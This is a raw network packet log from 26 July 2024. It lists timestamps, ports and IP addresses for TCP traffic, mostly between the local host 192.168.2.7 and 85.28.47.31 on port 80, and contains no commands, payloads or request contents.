Jul 26, 2024 08:57:54.427376986 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427387953 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427397966 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427408934 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427418947 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427428961 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427440882 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427450895 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427460909 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427470922 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427493095 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427504063 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427515030 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427524090 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427536011 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427546024 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427556038 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427566051 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427581072 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427591085 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427601099 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427611113 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427620888 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427630901 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427642107 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427651882 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427661896 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427701950 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.427712917 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.429481983 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.431582928 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.431612968 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.431636095 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.431660891 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.431682110 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.431713104 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.431740046 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.431767941 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.431804895 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.431828976 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.431849957 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.461080074 CEST	49761	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:57:54.461098909 CEST	49760	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:57:54.461153984 CEST	443	49760	142.250.186.142	192.168.2.7
Jul 26, 2024 08:57:54.516571045 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.516585112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.516690016 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.516700983 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.516711950 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.522495985 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.523612022 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.523690939 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.523701906 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.523706913 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.523736000 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.523746014 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.523879051 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.523890972 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.523904085 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.524030924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.524041891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.524054050 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.524065018 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.524075031 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.524075985 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.524086952 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.524178982 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.524348021 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.524357080 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.524359941 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.524367094 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.524369955 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.524372101 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.524399042 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.524472952 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.524709940 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.524769068 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.524780989 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.524787903 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.524792910 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.524815083 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.524842024 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.525008917 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.525019884 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.525032997 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.525043011 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.525049925 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.525054932 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.525065899 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.525069952 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.525078058 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.525103092 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.525116920 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.525276899 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.525316954 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.525329113 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.525388956 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.525468111 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.525480032 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.525593996 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.525604963 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.525614977 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.525625944 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.525635958 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.525645971 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.525656939 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.525667906 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.525677919 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526104927 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526115894 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526127100 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526237965 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526257038 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526268959 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526307106 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526316881 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526329041 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526339054 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526349068 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526819944 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526830912 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526846886 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526859045 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526869059 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526879072 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526889086 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526899099 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526910067 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526918888 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526930094 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.526940107 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.527394056 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.527405024 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.527421951 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.527431965 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.527443886 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.527451992 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.527677059 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.527688980 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.527699947 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.527710915 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.527726889 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528033018 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528043985 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528054953 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528065920 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528076887 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528088093 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528098106 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528107882 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528119087 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528129101 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528140068 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528151035 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528716087 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528726101 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528737068 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528747082 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528757095 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528768063 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528778076 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528788090 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528805017 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528811932 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528820038 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528827906 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.528829098 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.540441990 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.541014910 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.541132927 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.541158915 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.541182995 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.541202068 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.541291952 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.541357994 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.572422028 CEST	49760	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:57:54.599419117 CEST	443	49761	142.250.186.142	192.168.2.7
Jul 26, 2024 08:57:54.599443913 CEST	443	49761	142.250.186.142	192.168.2.7
Jul 26, 2024 08:57:54.599509954 CEST	443	49761	142.250.186.142	192.168.2.7
Jul 26, 2024 08:57:54.599518061 CEST	49761	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:57:54.599559069 CEST	49761	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:57:54.608496904 CEST	49761	443	192.168.2.7	142.250.186.142
Jul 26, 2024 08:57:54.608517885 CEST	443	49761	142.250.186.142	192.168.2.7
Jul 26, 2024 08:57:54.613437891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.613516092 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.613528013 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.613665104 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.613676071 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.613687038 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.613699913 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.613821030 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.613831997 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.613905907 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.613917112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.613928080 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.613939047 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.613950968 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.613961935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.613974094 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.614423990 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.614434958 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.614445925 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.614456892 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.615350962 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.615406990 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.615417957 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.615428925 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.615515947 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.615622044 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.615675926 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.615686893 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.615698099 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.615833044 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.615850925 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.615861893 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.615874052 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.615978956 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.615991116 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.616575003 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.617207050 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.617249012 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.617249012 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.617264032 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.618441105 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.618451118 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.618518114 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.618527889 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.618539095 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.618549109 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.618560076 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.618840933 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.618853092 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.618863106 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.618874073 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.618885040 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.618894100 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.618905067 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.618915081 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.618926048 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.618937016 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.618947983 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.619201899 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.619391918 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.619404078 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.619419098 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.619430065 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.619448900 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.619460106 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.619469881 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.619479895 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.619489908 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.619499922 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.619510889 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.619520903 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.619530916 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.619541883 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.619551897 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.619564056 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.619575024 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.619585991 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.619596958 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.619606972 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.619617939 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.620428085 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.620428085 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.620448112 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.620471001 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.620559931 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.620572090 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.620634079 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.620645046 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.620655060 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.620665073 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.620675087 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.620690107 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.620701075 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.620712042 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.620722055 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.620732069 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.620743036 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.620755911 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.620768070 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.620779037 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.620790005 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.621176958 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.621211052 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.621412992 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.621426105 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.621438980 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.621450901 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.621460915 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.621474028 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.621484041 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.621496916 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.621503115 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.621509075 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.621512890 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.621517897 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.621524096 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.621527910 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.621534109 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.621539116 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.621550083 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.621556044 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.621666908 CEST	80	49759	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:54.622958899 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.623009920 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.623352051 CEST	49759	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:54.703537941 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.703556061 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.703609943 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.703649998 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.703681946 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.703692913 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.703706026 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.703763962 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.703775883 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.703787088 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.703910112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.703922033 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.703941107 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.703953028 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.703968048 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.704268932 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.704302073 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.704313993 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.704324007 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.704334021 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.704344988 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.704355001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.704365969 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.704377890 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.704425097 CEST	49756	80	192.168.2.7	85.28.47.31
